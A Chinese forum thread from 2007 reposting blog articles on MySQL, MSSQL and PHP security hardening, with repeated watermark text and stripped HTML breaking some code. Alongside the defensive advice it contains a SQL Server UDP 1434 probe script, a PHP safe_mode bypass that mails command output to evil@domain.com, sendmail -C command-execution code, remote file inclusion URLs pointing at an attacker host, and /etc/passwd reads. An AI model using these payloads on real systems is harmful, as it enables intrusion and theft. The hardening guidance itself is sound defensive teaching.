博威---云架构决胜云计算

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 2388|回复: 5

MySQL的一些安全注意点

[复制链接]
发表于 2007-5-2 21:23:01 | 显示全部楼层 |阅读模式
MySQL的一些安全注意点 2007-02-02 17:31:35
 标签:Mysql SQL 安全 



1.如果客户端和服务器端的连接需要跨越并通过不可信任的网络,那么就需要使用SSH隧道来加密该连接的通信。
2.用set password语句来修改用户的密码,三个步骤 “先mysql -u root登陆数据库系统” 然后“mysql> update mysql.user set password=password('newpwd')” 最后执行“flush privileges”就可以了。
3.需要提防的攻击有,防偷听、篡改、回放、拒绝服务等,不涉及可用性和容错方面。对所有的连接、查询、其他操作使用基于ACL即访问控制列表的安全措施来完成。也有一些对SSL连接的支持。
4.除了root用户外的其他任何用户不允许访问mysql主数据库中的user表;
加密后存放在user表中的加密后的用户密码一旦泄露,其他人可以随意用该用户名/密码相应的数据库;
5.用grant和revoke语句来进行用户访问控制的工作;
6.不使用明文密码,而是使用md5()和sha1()等单向的哈系函数来设置密码;
7.不选用字典中的字来做密码;
8.采用防火墙来去掉50%的外部危险,让数据库系统躲在防火墙后面工作,或放置在DMZ区域中;
9.从因特网上用nmap来扫描3306端口,也可用telnet server_host 3306的方法测试,不能允许从非信任网络中访问数据库服务器的3306号TCP端口,因此需要在防火墙或路由器上做设定;
10.为了防止被恶意传入非法参数,例如where ID=234,别人却输入where ID=234 OR 1=1导致全部显示,所以在web的表单中使用''或""来用字符串,在动态URL中加入%22代表双引号、%23代表井号、%27代表单引号;传递未检查过的值给mysql数据库是非常危险的;
11.在传递数据给mysql时检查一下大小;
12.应用程序需要连接到数据库应该使用一般的用户帐号,只开放少数必要的权限给该用户;
13.在各编程接口(C C++ PHP Perl Java JDBC等)中使用特定‘逃脱字符’函数;
在因特网上使用mysql数据库时一定少用传输明文的数据,而用SSL和SSH的加密方式数据来传输;
14.学会使用tcpdump和strings工具来查看传输数据的安全性,例如tcpdump -l -i eth0 -w -src or dst port 3306 | strings。以普通用户来启动mysql数据库服务;
15.不使用到表的联结符号,选用的参数 --skip-symbolic-links;
16.确信在mysql目录中只有启动数据库服务的用户才可以对文件有读和写的权限;
17.不许将process或super权限付给非管理用户,该mysqladmin processlist可以列举出当前执行的查询文本;super权限可用于切断客户端连接、改变服务器运行参数状态、控制拷贝复制数据库的服务器;
18.file权限不付给管理员以外的用户,防止出现load data '/etc/passwd'到表中再用select 显示出来的问题;
19.如果不相信DNS服务公司的服务,可以在主机名称允许表中只设置IP数字地址;
20.使用max_user_connections变量来使mysqld服务进程,对一个指定帐户限定连接数;
21.grant语句也支持资源控制选项;
22.启动mysqld服务进程的安全选项开关,--local-infile=0或1 若是0则客户端程序就无法使用local load data了,赋权的一个例子grant insert(user) on mysql.user to
[email=]'user_name'@'host_name'[/email];若使用--skip-grant-tables系统将对任何用户的访问不做任何访问控制,但可以用mysqladmin flush-privileges或mysqladmin reload来开启访问控制;默认情况是show databases语句对所有用户开放,可以用--skip-show-databases来关闭掉。
23.碰到Error 1045(28000) Access Denied for user
[email=]'root'@'localhost'[/email] (Using password:NO)错误时,你需要重新设置密码,具体方法是:先用--skip-grant-tables参数启动mysqld,然后执行mysql -u root mysql,mysql>update user set password=password('newpassword') where user='root';mysql>Flush privileges;,最后重新启动mysql就可以了。 zoukaimei 51cto技术博客

出自 51CTO.COM博客 zoukaimei 51cto技术博客

 楼主| 发表于 2007-5-2 21:32:09 | 显示全部楼层
Mssql和Mysql的安全性分析

--------------------------------------------------------------------------------

2005-04-28 20:11:00 标签:Mysql SQL 安全 


作者:yanweidong1030

数据库是电子商务、金融以及ERP系统的基础,通常都保存着重要的商业伙伴和
客户信息。大多数企业、组织以及政府部门的电子数据都保存在各种数据库中,他们
用这些数据库保存一些个人资料,还掌握着敏感的金融数据。但是数据库通常没有象
操作系统和网络这样在安全性上受到重视。数据是企业,组织的命脉所在,因此选择
一款安全的数据库是至关重要的。大型网站一般使用oracle或DB2,而中小型网站大
多数使用更加灵活小巧的mssql数据库或者mysql数据库。那么,在同样的条件下,微
软的mssql和免费的mysql哪个更加安全呢?

我在我的机子上面用管理员帐号默认安装了mssql和mysql以便在相同的情况下测
试他们的安全性。我的系统配置如下:操作系统Microsoft Windows 2000 Version5.0,
安装了sp4,ftp服务和iis服务,支持asp和php。系统只有一个管理员帐号admin,guest
帐号没有禁用。

一.系统内部安全性分析

1.mysql数据库权限控制问题

mysql的权限控制是基于mysql这个数据库的,叫做授权表,一共包括包括六个表
columns_priv,db,func,host,tables_priv和user。先使用desc user命令查看非
常重要的user表的结构以便查询内容,现在可以查看他的权限设置了。
使用命令select host,user,password,delete_priv,update_priv,drop_priv from user;
这个命令查看了几个比较危险的权限,显示结果如下:
mysql> select host,user,password,delete_priv,update_priv,drop_priv from user;
+-----------+------+------------------+-------------+-------------+-----------+
| host | user | password | delete_priv | update_priv | drop_priv |
+-----------+------+------------------+-------------+-------------+-----------+
| localhost | root |0e4941f53f6fa106 | Y | Y | Y |
| % | root | | Y | Y | Y |
| localhost | | | Y | Y | Y |
| % | | | N | N | N |
+-----------+------+------------------+-------------+-------------+-----------+
4 rows in set (0.00 sec)
第一条表示在本机使用root用密码登陆,拥有删除记录,修改记录,删除表等权限,
好,这是安全的。第二条表示在任何主机使用root不需密码登陆,拥有删除记录,
修改记录,删除表等权限。第三条表示在本机匿名登陆,拥有删除记录,修改记
录,删除表等权限。最后条表示可以再任何主机匿名登陆,但是没有任何权限。
显然,第二,三,四都是不安全的!第二条不用说,就第三条而言,就算你在本地
是guest权限,但是也可以登陆mysql数据库,而且拥有全部权限。这样,就可以对数
据库为所欲为了。
解决方法:如果你不需要远程维护,删除掉第二条,delete from user where
host="%" and user="root";或者给它加个强壮的密码。删除第三条,delete from
user where host="localhost" and user="";


2.mysql安装目录权限问题

mysql默认安装到c:\mysql,但是c盘默认是everyone完全控制,由于权限的继承
性,c:\mysql对everyone也是完全控制的,显然这样是不安全的。因为恶意用户可以
删除重要的数据文件。
解决方法:重新设置mysql目录的存取权限。或者将mysql安装到其他目录,如果
你移动Mysql分发到D:\mysql,你就必须使用用
D:\mysql\bin\mysqld --basedir D:\mysql来启动mysqld,甚至还需要修改它的配置
文件。

3.mssql数据库权限控制问题

mssql数据库的权限控制是基于master库的syslogins表,拥有所有权限的帐号是
sa,其他还有sysadmin,db_owner等不同权限帐号。但是,mssql数据库最高权限帐
号sa的默认密码是空,这样如果安装的时候不注意,就会给数据带来毁灭性的灾难。
恶意攻击者可以修改,删除所有数据,更加重要的是mssql帐号可以利用扩展执行系
统命令。
解决方法:定期检查所有登陆帐号,查看是否有不符合要求的密码。
Use master
Select name,Password from syslogins where password is null命令检查是否有空
口令帐号存在。尽可能的删除存储扩展,防止本地用户利用存储扩展执行恶意命令。
use master
sp_dropextendedproc xp_cmdshell 命令删除xp_cmdshell扩展。

4.mssql安装目录权限问题

同mysql一样,mssql也是安装到everyone完全控制c盘,由于存取控制问题,最
好安装到d盘等非系统盘进行严格的权限控制。而且,由于mssql数据库与系统结合非常紧密,系统管理员在没有数据库密码的情况下也可以通过选择windows验证来操作数据库。因此,普通用户有可能通过系统漏洞提升自己的权限,对数据库进行破坏。

解决办法:除了严格的存取限制外,还要定期查看SQL Server日志检查是否有可
疑的登录事件发生,或者使用DOS命令findstr /C:"登录" d:\Microsoft SQL Server\MSSQL\LOG\*.*。
mssql的安全是和windows系统安全紧密结合的,任何一个出现漏洞,都会威胁到另一个的安全。

总结,在系统内部安全性上,mysql和mssql都没有达到令人满意的程度,帐号安全,存取权限都控制的不是很好。但是mssql有详细的日志可以查看登陆情况,比mysql要高出一筹。如果进行了合理的设置,mysql反而要更加安全些,因为对mssql而言,只要有系统权限即可拥有数据库权限。

二.外部网络安全性分析

1.数据库服务的探测

为了安全,可以让mysql服务运行在内网,但是如果你的机器有外网的接口,mysql也会自动被绑定在外网上面,暴露在internet中,而且系统会在TCP的3306端口监听,非常容易被端口扫描工具发现,不能保证数据安全。如果默认,mssql则会打开TCP的1433端口监听。虽然mssql可以人为的改变监听端口,但是通过微软未公开的1434端口的UDP探测可以很容易知道SQL Server使用的什么TCP/IP端口了。往UDP1434端口
发送一个1个字节的内容为02的数据包,被探测的系统则会返回安装的mssql服务信息,这些信息包括:主机名称、实例名称、版本、管道名称以及使用的端口等。这个端口是微软自己使用,而且不象默认的1433端口那样可以改变,1434是不能改变的。一个典型的返回的信息如下:
ServerName;Sky;InstanceName;sky;IsClustered;No;Version;8.00.194;tcp;3341;np;\\sky\pipe\MSSQL$XHT310\sql\query; 可以发现mssql的tcp端口改成了3341,为攻击者打开了方便之门!只要会一点socket编程知识,很容易就可以写出扫描mssql服务的程序,而且,由于利用了udp端口,一般的过滤是很难防范的。 补天的awen写了个探测程序,用的是c#语言,代码如下:
using System;
using System.Net.Sockets;
using System.Net;
using System.Text;
using System.Threading;

namespace ConsoleApplication3
{

class Class1
{
//创建一个UDPCLIENT实例
private static UdpClient m_Client;

//LISTEN用来获取返回的信息
public static string Listen(string hostip)
{
string HostIP = hostip;
IPAddress thisIP = IPAddress.Parse(HostIP);
IPEndPoint host = new IPEndPoint(thisIP,1434);
byte [] data = m_Client.Receive(ref host);
Encoding ASCII = Encoding.ASCII;
String strData = ASCII.GetString(data);
return strData;

}
//SEND
public static void Send(string hostip)
{
string HostIP = hostip;
byte [] buffer = {02};
//02为要发送的数据,只有02、03、04有回应
int ecode = m_Client.Send(buffer,1,HostIP,1434);
//ecode用来返回是否成功发送
if(ecode <= 0)
{
Console.WriteLine("发送时出错:" + ecode);

}

}
//对返回的信息的简单的处理
public static void OutputInfo(string strdata)
{
string str = strdata;
//str.le
char [] that = {‘;‘,‘;‘};
string [] strofthis =str.Split(that);
//int i= 0  
for(int i=0;i{

Console.Write(strofthis);
Console.Write(‘
‘);
}

}
//输入IP
public static string InputHostIP()
{
Console.Write("enter the ip you want to scan:

");
string hostip =Console.ReadLine();
Console.Write(‘
‘);
return hostip;
}
//EXIT
public static void Exit()
{
Console.WriteLine("if you want to exit ,just input 1
");
int a = Console.Read();
if(a!= 1)
{
Console.WriteLine("if you want to exit ,just input 1
");
Console.Read();
}
else
{
}
}

[STAThread]

static void Main(string[] args)
{
string HostIP;
HostIP = InputHostIP();
Console.WriteLine("Begin to send udp to the host");
m_Client = new UdpClient();
Send(HostIP);
string strData=Listen(HostIP);
OutputInfo(strData);
Exit();

}
}
}

3一个典型的返回的信息

ServerName;AWEN;
InstanceName;AWEN;
IsClustered;No;
Version;8.00.194;
tcp;1044; (TCP的端口,可见就算改了端口也是很容易找到的)
np;\\AWEN\pipe\MSSQL$XHT310\sql\query;

解决办法:安装_blank">防火墙,或者利用Windows 2000系统的ipsec对网络连接进行ip限制,实现IP数据包的安全性。对IP连接进行限制,只保证自己的IP能够访问,拒绝其他IP进行的端口连接,把来自网络上的安全威胁进行有效的控制。重要的是,还要对端口作过滤,包括大部分的tcp和udp端口,因为仅仅做ip限制的话,有可能恶意攻击者先攻击被数据库服务器信任的主机,控制之后作为跳板对数据库服务器进行攻击。

2.数据库的密码探测

密码攻击包括两种,破解密码和网络监听。破解密码是使用工具不停的连接数据库来猜测密码, 包括字典攻击,暴力攻击和界于两者之间的半暴力半字典攻击。通常攻击者先采用字典攻击的方法, 没有成功的话依次采用半暴力半字典攻击,暴力攻击。在网络速度够好,电脑运算能力够强的情况下,这 样的密码攻击危害是相当大的。网络监听则是控制一台网络设备,在上面运行监听工具捕获在网络中 传送的密码信息。网络监听可以分为两种,一种是外部的监听,将侦听工具软件放到网络连接的设备或者 放到可以控制网络连接设备的电脑上,这里的网络连接设备,比如网关服务器,比如路由器等等。另外一 种是来自内部的监听,对于不安全的局域网,数据是采用广播的方式传播的,只要把网卡设置为混杂模式即可接收到本来不属于自己的数据包,当然可能包括密码信息等资料。

解决方法:针对密码破解,只要把密码设置为足够强壮,并且对同个ip地址不停的连接请求进行屏蔽即可。 但是对于监听来说,网络传输的时候如果不加密的话,所有的网络传输都是明文的,包括密码、数据库内容等 等,不管多么复杂的密码都是于事无补的,这是一个很大的安全威胁。所以,在条件容许情况下,最好使用SSL
来加密协议,当然,你需要一个证书来支持。并且,对于网络监听应该及时发现,如果网络中的丢包率突然提 高,那么就有理由怀疑网络遭到监听。

3.脚本安全

脚本安全本身就是个非常复杂的问题,足以写一篇专业的长篇分析文章,而且我对脚本不是很内行,mix,envymask,pskey,angel他们比较疯狂,哈哈。脚本
安全主要是对提交的数据缺乏严格的检查导致的,比较危险的符号有“;”,“ ”,“#”,“--”,“$”, “\”等。这个问题最初被认为是asp+sql server的问题,但是很快就发现实质上它的影响非常大,后来有人继续深入发现在php+mysql该问题依然会存在,san对php作过深入分析,有兴趣的去安全焦点找他的文章。对于脚本
好象没有特有效的解决方法,只有依靠程序员的个人素质了……

总结,不管是mysql,还是mssql,在外部网络中,都受到相当大的威胁。相比而言,mssql受到的威胁甚至要更大些,最近2年来,mssql暴露出了多个远程溢出漏洞。如果配置的比较好的话,我认为,mysql要比mssql安全一些,因为随时会爆发的新溢出漏洞是防不胜防的,而且能够执行系统命令的sql注入攻击也非常可怕。好了,限于篇幅,这篇文章到此结束。出自 51CTO.COM博客
 楼主| 发表于 2007-5-2 21:45:46 | 显示全部楼层

PHP安全配置

PHP安全配置


一、Web服务器安全 loveme23 51cto技术博客
PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当loveme23 51cto技术博客
然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可loveme23 51cto技术博客
以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动loveme23 51cto技术博客
Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系loveme23 51cto技术博客
统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻loveme23 51cto技术博客
烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现sloveme23 51cto技术博客
ocket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为loveme23 51cto技术博客
php.ini里的: loveme23 51cto技术博客
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com loveme23 51cto技术博客
loveme23 51cto技术博客
都是针对Win32平台,所以需要在chroot环境下调整好sendmail。 loveme23 51cto技术博客
二、PHP本身问题 loveme23 51cto技术博客
1、远程溢出 loveme23 51cto技术博客
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已loveme23 51cto技术博客
经广泛流传,成功率非常高. loveme23 51cto技术博客
2、远程拒绝服务 loveme23 51cto技术博客
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,loveme23 51cto技术博客
虽然不能获得本地用户权限,但是也能造成拒绝服务。 loveme23 51cto技术博客
3、safe_mode绕过漏洞 loveme23 51cto技术博客
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行loveme23 51cto技术博客
命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以loveme23 51cto技术博客
突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开loveme23 51cto技术博客
后面加shell命令就可以了,比如存在PHP脚本evil.php: loveme23 51cto技术博客
loveme23 51cto技术博客
loveme23 51cto技术博客
执行如下的URL: loveme23 51cto技术博客
http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com loveme23 51cto技术博客
这将id执行的结果发送给evil@domain.com。 loveme23 51cto技术博客
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所loveme23 51cto技术博客
以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令: loveme23 51cto技术博客
#注意,下面这两个必须是不存在的,
或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?> loveme23 51cto技术博客
loveme23 51cto技术博客
还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基loveme23 51cto技术博客
本的安全问题。 loveme23 51cto技术博客
三、PHP本身的安全配置 loveme23 51cto技术博客
PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必loveme23 51cto技术博客
须设置了AllowOverride loveme23 51cto技术博客
All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函loveme23 51cto技术博客
数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。 loveme23 51cto技术博客
如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修loveme23 51cto技术博客
改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中phloveme23 51cto技术博客
p.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该loveme23 51cto技术博客
定义的目录下所有脚本生效。 loveme23 51cto技术博客
如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以loveme23 51cto技术博客
使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它loveme23 51cto技术博客
们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程loveme23 51cto技术博客
序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各loveme23 51cto技术博客
个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件loveme23 51cto技术博客
得到所有的选项,以及它的属性: loveme23 51cto技术博客
# grep PHP_INI_ /PHP_SRC/main/main.c loveme23 51cto技术博客
loveme23 51cto技术博客
在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。 loveme23 51cto技术博客
1、safe_mode loveme23 51cto技术博客
safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。loveme23 51cto技术博客
要启用safe_mode,只需修改php.ini: loveme23 51cto技术博客
safe_mode = On
或者修改httpd.conf,定义目录: loveme23 51cto技术博客
Options FollowSymLinks
php_admin_value safe_mode 1 loveme23 51cto技术博客
loveme23 51cto技术博客

重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,loveme23 51cto技术博客
特别是和系统相关的文件打开、命令执行等函数。 loveme23 51cto技术博客
所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容loveme23 51cto技术博客
为: loveme23 51cto技术博客

几个文件的属性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php loveme23 51cto技术博客
loveme23 51cto技术博客
在浏览器请求test.php会提示如下的错误信息: loveme23 51cto技术博客
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is loveme23 51cto技术博客
33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in loveme23 51cto技术博客
/var/www/test.php on line 1 loveme23 51cto技术博客
如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同loveme23 51cto技术博客
也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这loveme23 51cto技术博客
个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不loveme23 51cto技术博客
到safe_mode的效果了。 loveme23 51cto技术博客
如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,loveme23 51cto技术博客
可以设置如下选项: loveme23 51cto技术博客
safe_mode_gid = On loveme23 51cto技术博客
设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_moloveme23 51cto技术博客
de_exec_dir指定目录里的程序,而且shell_exec、`ls -l`这种执行命令的方式loveme23 51cto技术博客
会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置: loveme23 51cto技术博客
safe_mode_exec_dir = /usr/local/php/exec loveme23 51cto技术博客
然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且loveme23 51cto技术博客
该目录里的shell脚本还是可以调用其它目录里的系统命令。 loveme23 51cto技术博客
safe_mode_include_dir string loveme23 51cto技术博客
当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)loveme23 51cto技术博客
包含文件时越过 UID/GID 检查。 loveme23 51cto技术博客
从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔loveme23 51cto技术博客
开的路径,而不只是一个目录。 loveme23 51cto技术博客
指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_incluloveme23 51cto技术博客
de_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它loveme23 51cto技术博客
们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线loveme23 51cto技术博客
,例如:“safe_mode_include_dir = /dir/incl/”。 loveme23 51cto技术博客
safe_mode_allowed_env_vars string loveme23 51cto技术博客
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列loveme23 51cto技术博客
表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。loveme23 51cto技术博客
默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。 loveme23 51cto技术博客
注: 如果本指令为空,PHP 将使用户可以修改任何环境变量! loveme23 51cto技术博客
safe_mode_protected_env_vars string loveme23 51cto技术博客
本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改loveme23 51cto技术博客
变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也loveme23 51cto技术博客
不能改变这些变量。 loveme23 51cto技术博客
虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全loveme23 51cto技术博客
模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制loveme23 51cto技术博客
,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制loveme23 51cto技术博客
或屏蔽的函数可以参考PHP手册。 loveme23 51cto技术博客
讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHPloveme23 51cto技术博客
服务器端的配置来避免出现的漏洞。 loveme23 51cto技术博客
2、变量滥用 loveme23 51cto技术博客
PHP默认register_globals = On,对于GET, POST, Cookie, Environment, loveme23 51cto技术博客
Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = loveme23 51cto技术博客
"EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,loveme23 51cto技术博客
所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的loveme23 51cto技术博客
习惯,像如下的程序片断就极易受到攻击: loveme23 51cto技术博客
//test_1.php
if ($pass == "hello")
$auth = 1; loveme23 51cto技术博客
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?> loveme23 51cto技术博客
loveme23 51cto技术博客
攻击者只需用如下的请求就能绕过检查: loveme23 51cto技术博客
_1.php?auth=1">http://victim/test_1.php?auth=1 loveme23 51cto技术博客
这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnukeloveme23 51cto技术博客
的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361 loveme23 51cto技术博客
PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量loveme23 51cto技术博客
来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,loveme23 51cto技术博客
必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是registeloveme23 51cto技术博客
r_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻loveme23 51cto技术博客
击者控制判断变量。 loveme23 51cto技术博客
解决方法: loveme23 51cto技术博客
配置文件php.ini设置register_globals = Off。 loveme23 51cto技术博客
要求程序员对作为判断的变量在程序最开始初始化一个值。 loveme23 51cto技术博客
3、文件打开 loveme23 51cto技术博客
极易受攻击的代码片断: loveme23 51cto技术博客
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename
\n");
exit;
}
else {
echo $str;
}
?> loveme23 51cto技术博客
loveme23 51cto技术博客
由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/pasloveme23 51cto技术博客
swd: loveme23 51cto技术博客
_2.php?filename=/etc/passwd">http://victim/test_2.php?filename=/etc/pasloveme23 51cto技术博客
swd loveme23 51cto技术博客
如下请求可以读php文件本身: loveme23 51cto技术博客
_2.php?filename=test_2.php">http://victim/test_2.php?filename=test_2.phloveme23 51cto技术博客
p loveme23 51cto技术博客
PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造loveme23 51cto技术博客
成服务器重要文件被访问读取。 loveme23 51cto技术博客
解决方法: loveme23 51cto技术博客
如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文loveme23 51cto技术博客
件httpd.conf的一个例子: loveme23 51cto技术博客

php_admin_value open_basedir /usr/local/apache/htdocs loveme23 51cto技术博客
loveme23 51cto技术博客

重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目loveme23 51cto技术博客
录下的文件了,否则PHP就会报错: loveme23 51cto技术博客
Warning: open_basedir restriction in effect. loveme23 51cto技术博客
File is in wrong directory in xxx on line xx. loveme23 51cto技术博客
使用safe_mode模式也能避免这种问题,前面已经讨论过了。 loveme23 51cto技术博客
4、包含文件 loveme23 51cto技术博客
极易受攻击的代码片断: loveme23 51cto技术博客
//test_3.php
if(file_exists($filename))
include("$filename");
?> loveme23 51cto技术博客
loveme23 51cto技术博客
这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passloveme23 51cto技术博客
wd文件: loveme23 51cto技术博客
_3.php?filename=/etc/passwd">http://victim/test_3.php?filename=/etc/pasloveme23 51cto技术博客
swd loveme23 51cto技术博客
如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了loveme23 51cto技术博客
http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attacloveme23 51cto技术博客
k.txt的内容是,那么如下的请求就可以在目标主机执行命令ls /etc: loveme23 51cto技术博客
_3.php?filename=http://attack/attack.txt">http://victim/test_3.php?fileloveme23 51cto技术博客
name=http://attack/attack.txt loveme23 51cto技术博客
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命loveme23 51cto技术博客
令的代码,不过由于干扰信息太多,有时不易成功。 loveme23 51cto技术博客
对于另外一种形式,如下代码片断: loveme23 51cto技术博客
//test_4.php
include("$lib/config.php");
?> loveme23 51cto技术博客
loveme23 51cto技术博客
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用loveme23 51cto技术博客
如下请求也可以在目标主机执行命令: loveme23 51cto技术博客
_4.php?lib=http://attack">http://victim/test_4.php?lib=http://attack loveme23 51cto技术博客
PHP的包含函数有include(), include_once(), require(), require_once。如果loveme23 51cto技术博客
对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。 loveme23 51cto技术博客
解决方法: loveme23 51cto技术博客
要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格loveme23 51cto技术博客
检查要包含的文件名,绝对不能由用户任意指定。 loveme23 51cto技术博客
如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一loveme23 51cto技术博客
定要关闭PHP的远程文件打开功能。修改php.ini文件: loveme23 51cto技术博客
allow_url_fopen = Off loveme23 51cto技术博客
重启apache。


5、文件上传 loveme23 51cto技术博客
php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的loveme23 51cto技术博客
临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临loveme23 51cto技术博客
时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量loveme23 51cto技术博客
:(如form变量名是file,而且register_globals打开) loveme23 51cto技术博客
$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG )
$file_size #上传文件的大小
$file_name #上传文件的原始名称
$file_type #上传文件的类型 loveme23 51cto技术博客
loveme23 51cto技术博客
推荐使用: loveme23 51cto技术博客
$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type'] loveme23 51cto技术博客
loveme23 51cto技术博客
这是一个最简单的文件上传代码: loveme23 51cto技术博客
//test_5.php
if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上传成功!点击继续上传";
exit;
}
?> loveme23 51cto技术博客
loveme23 51cto技术博客
content="text/html; charset=gb2312"> loveme23 51cto技术博客
loveme23 51cto技术博客

上传文件:

loveme23 51cto技术博客
loveme23 51cto技术博客
loveme23 51cto技术博客
loveme23 51cto技术博客
这样的上传代码存在读取任意文件和执行命令的重大问题。 loveme23 51cto技术博客
下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/teloveme23 51cto技术博客
st(注意:这个目录必须nobody可写)下的attack.txt文件里: loveme23 51cto技术博客
_5.php?upload=1&file=/etc/passwd&file_name=attack.txt">http://victim/teloveme23 51cto技术博客
st_5.php?upload=1&file=/etc/passwd&file_name=attack.txt loveme23 51cto技术博客
然后可以用如下请求读取口令文件: loveme23 51cto技术博客
http://victim/test/attack.txt loveme23 51cto技术博客
攻击者可以把php文件拷贝成其它扩展名,泄漏脚本源代码。 loveme23 51cto技术博客
攻击者可以自定义form里file_name变量的值,上传覆盖任意有写权限的文件。 loveme23 51cto技术博客
攻击者还可以上传PHP脚本执行主机的命令。 loveme23 51cto技术博客
